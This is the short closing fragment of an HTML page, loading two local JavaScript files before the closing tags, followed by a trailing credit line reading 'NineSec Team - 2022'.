    <script src="assets/js/plugins.min.js"></script>



    <!--Main JS-->
    <script src="assets/js/main.js"></script>
</body>

</html>
NineSec Team - 2022